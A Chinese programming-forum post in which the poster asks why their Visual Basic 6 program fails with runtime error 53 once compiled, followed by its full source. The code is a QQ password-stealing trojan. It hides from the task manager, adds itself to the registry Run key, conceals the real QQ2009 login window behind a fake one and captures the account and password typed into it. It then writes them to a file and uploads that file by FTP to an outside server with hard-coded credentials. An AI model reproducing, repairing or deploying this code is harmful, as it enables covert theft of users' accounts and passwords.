在没有生成EXE文件之前测试(即F5)是可以运行的,
生成之后就提示VB运行时错误53 ,,文件未找到
请各位高手解答一下
一下是代码
--------------------------------------------------
Private Declare Function FindWindowEx Lib "User32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function ShowWindow Lib "User32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetForegroundWindow Lib "User32" () As Long
Private Declare Function GetWindowText Lib "User32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function SetForegroundWindow Lib "User32" (ByVal hwnd As Long) As Long
Private Const SW_SHOWNORMAL = 1
Private Const SW_HIDE = 0
Private Const SW_SHOW = 5
Private Const SWP_NOSIZE = &H1
Private Const SWP_NOMOVE = &H2
Private Const HWND_NOTOPMOST = -2
Private Const HWND_TOPMOST = -1
Private Const WM_NCACTIVATE = &H86
Const CB_SHOWDROPDOWN = &H14F
Dim ma As Long
Dim mx As Long, mi As Long, j As Integer
Private Sub Combo1_Click()
Me!Text1.Text = Me!Combo1.Text
End SubPrivate Sub Form_Load()
    Combo1.AddItem "          "
    Combo1.AddItem "          "
    Combo1.AddItem "          "
App.TaskVisible = False '任务管理器中隐藏'实现把木马道入注册表,使其开机自动运行----------------------------------------------------
Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
'-------------------------------------------------------------------------------------------
Me.Hide
Dim j As Integer, p As Integer, m As Integer
j = FreeFile
Open "123.txt" For Input As j
For p = 0 To 10
If Not EOF(j) Then
Input #j, a
m = InStr(a, "号")
a = Mid(a, m + 2, 10)
 If a = "" Or a > "a" Then
  p = p - 1
 Else
  Me!Combo1.List(p) = Trim(a)
 End If
End If
Next p
Close #j
End SubPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = -1
End SubPrivate Sub Label1_Click()
'-------测试用的语句可以删除------------------------------------
If Me!Text2.Text = "ljp" Then
Me!Text2.Text = ""
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
  Me.Hide
  Me!Timer1.Enabled = False
  j = 0
  Me!Timer2.Enabled = True
'-------测试用的语句可以删除------------------------------------
Else
Dim e As String, p As String, urldz As String, zh As Variant, mm As Variant
zh = Me!Text1.Text
mm = Me!Text2.Text
'-----------------------------------------------------------
Call ShowWindow(ma, 1) '将QQ.EXE窗口还原显示
'------把焦点还给真的QQ-------------------------------------------------
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
 'SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE
 'SendKeys "%{Tab}"
 '------把焦点还给真的QQ-------------------------------------------------
 Me.Hide '隐藏假的QQ窗体,到后台处理
SendKeys "{Tab}", True
SendKeys "{Tab}", True
SendKeys "{Tab}", True
SendKeys "{Tab}", True
SendKeys "{Tab}", True
SendKeys "{Tab}", True
SendKeys "{Tab}", True
SendKeys "{Tab}", True
SendKeys "{Tab}", True
SendKeys "{Tab}", True
SendKeys "{Tab}", True
SendKeys zh, True
SendKeys "{Tab}", True
SendKeys mm, True
'Sleep (1000)
SendKeys "{Enter}"
'-----------------------------------------------------------
j = FreeFile
Open "E:\123.txt" For Append As j '把账号密码要保存的路径
e = "QQ帐号:" + Me!Text1.Text
p = "QQ密码:" + Me!Text2.Text
    Me!Text1.Text = ""
    Me!Text2.Text = ""
Print #j, p, e
Close j
urldz = "ftp://3030.qqnn.net/"
Inet1.URL = urldz
Inet1.UserName = "3030" 'FTP空间账号
Inet1.Password = "888594418"  'FTP空间密码
          Inet1.Execute "", "PUT E:\123.txt 123.txt"
    right1 = Inet1.StillExecuting
    Do While right1
       right1 = Inet1.StillExecuting
       DoEvents
    Loop
Close j
Me!Timer2.Enabled = True
End If
End Sub
Private Sub Label2_Click()    SendMessage Combo1.hwnd, CB_SHOWDROPDOWN, 1, 0
End SubPrivate Sub Text2_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Label1_Click
End If
End SubPrivate Sub Timer1_Timer()
If FindWindow(vbNullString, "QQ2009 Beta2") <> 0 Then '如果发现就隐藏它
 ma = FindWindow(vbNullString, "QQ2009 Beta2") '获得QQ.EXE的窗口句柄
 zhlm = "ATL:006CC4D0"
 mill = "Edit"
  mx = FindWindowEx(ma, 0, zhlm, vbNullString)
  mi = FindWindowEx(ma, 0, mill, vbNullString)
 If mx <> 0 And mi <> 0 Then
    If j = 0 Then
    Call ShowWindow(ma, 0)
    j = 1
    Me!Timer3.Enabled = True
    End If
 End If
End If
End Sub
Private Sub Timer2_Timer()
Me!Timer1.Enabled = True
End SubPrivate Sub Timer3_Timer()
If GetForegroundWindow <> Me.hwnd Then
Form1.Show '弹出假的登陆窗口
Me.SetFocus
End If
Me!Timer3.Enabled = False
End Sub